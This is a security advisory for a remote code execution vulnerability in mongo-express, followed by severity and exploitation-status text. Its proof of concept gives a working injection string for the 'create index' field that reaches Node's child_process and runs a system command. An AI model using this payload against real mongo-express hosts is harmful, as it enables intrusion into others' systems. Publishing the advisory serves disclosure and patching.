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GHSA-h47j-hc6x-h3qq
No affected components available
Impact
Remote code execution on the host machine by any authenticated user.
Proof Of Concept
Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:
this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')
Patches
Users should upgrade to version 0.54.0
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
For more information
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Thanks
@JLLeitschuh for finding and reporting this vulnerability
This vulnerability has been exploited in the wild.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is critical. The vulnerability is very likely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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